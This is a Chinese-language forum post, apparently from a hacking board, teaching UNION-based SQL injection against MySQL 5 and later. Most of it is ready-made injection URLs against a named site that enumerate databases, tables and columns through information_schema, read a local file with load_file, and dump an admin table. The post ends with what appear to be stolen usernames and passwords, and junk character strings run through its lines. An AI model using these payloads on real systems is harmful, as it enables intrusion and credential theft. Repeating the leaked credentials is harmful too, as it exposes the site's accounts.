此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
. J9 {) \& v# s但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
- M- ^: x+ @& s* R; S x
6 S/ X% k- u, O# }0 \" E
% Z8 @5 t$ n5 a0 _3 V优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入% I7 i9 d1 k: H1 ^
: k4 \( K7 R; _1 x# z j; R M* p缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
5 ^5 B; Q) Q9 [ y; A% G: w4 z( z. t: w9 l. J* {
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
5 H4 A$ [, {& m8 H在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
) M4 x+ Y! j" [/ E) S/ g l h5 F) }- v0 |
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
. F% w) U: K. x" t% x, t# [0 r h4 v: _2 }6 r
读出所有库:
7 A8 j' [ a" \http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA# @. y0 K5 {* r! L! ]6 [; l4 G# E5 e
0 p7 C) `# I4 Q* L2 P' Z
. G( W |! @2 L; R+ U) }
5 N& y9 H* p+ l1 v) j1 J# E
读出所有表:
$ ^, K* ~3 h- `; }1 Zhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
, a Q# L& B9 d
" f/ E: l, u7 S) c读出所有表字段:0 d" q, H8 n1 {% c. A
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
7 y4 x+ O( G8 I9 m1 f*/ (97,100,109,105,110)为admin的ascii码 依次类推
2 m/ I! N7 N. x8 N
/ ^- q1 p* |. Q/ z. J6 d, z读出所有表字段里的内容: T% b8 H% ~% J& |7 I! W+ x, G: q
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin* l R" U1 y7 k. U4 M3 u9 {5 Z* @
4 Z& N3 U5 ~8 j4 G, {
& w! \% ^% X3 M9 w% r
, U8 m5 A) S/ ]1 s! I g
0 ~3 g& q7 R. ]/ o5 A3 X9 ? @3 \% s/ t) g4 z& d7 g
( K1 W( H+ N! t
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23 _2 V0 |8 U7 G4 Z
i# W" z6 g' b, V$ j
* O0 j: B1 |" F9 x: T& V' c: L7 u8 F
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
* y) N: ?6 Y7 H% j4 p2 P- t0 _! ?2 s9 }
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
0 h Q- o3 D8 Y, v8 u* a2 E- D# a- Y6 }
v0 H, |0 k9 J; p0 S: A/ n. U1 D5 V
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%231 G. ~4 O4 ]) N4 {
& B& N7 ?5 T: W# F, } p# z5 o( H( @5 v4 t
webmaster:dzb521123,simlab:simadmin20043233
- }: V4 o: `0 p W3 a# c" j |